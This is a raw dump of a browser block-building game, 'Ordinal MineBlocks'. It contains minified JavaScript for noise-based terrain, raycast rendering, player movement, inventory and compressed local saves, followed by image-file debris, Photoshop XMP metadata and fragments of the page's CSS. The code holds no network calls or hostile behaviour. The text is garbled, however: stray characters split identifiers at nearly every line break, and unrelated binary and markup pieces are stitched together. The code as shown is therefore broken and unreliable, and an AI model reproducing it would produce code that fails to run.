,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:BA0A3662AA1611EDB031AED9E7253BB0" xmpMM:InstanceID="xmp.iid:BA0A3661AA1611EDB031AED9E7253BB0" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:18916111AB2B11EDA0E9C130FB20B727" xmpMM:InstanceID="xmp.iid:18916110AB2B11EDA0E9C130FB20B727" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ce69c4e-f070-724c-b24b-00d4e028c41a" stRef:documentID="adobe:docid:photoshop:514bc959-0535-4541-a09f-c06b6d2c983c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
IiCCPsRGB IEC61966-2.1
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
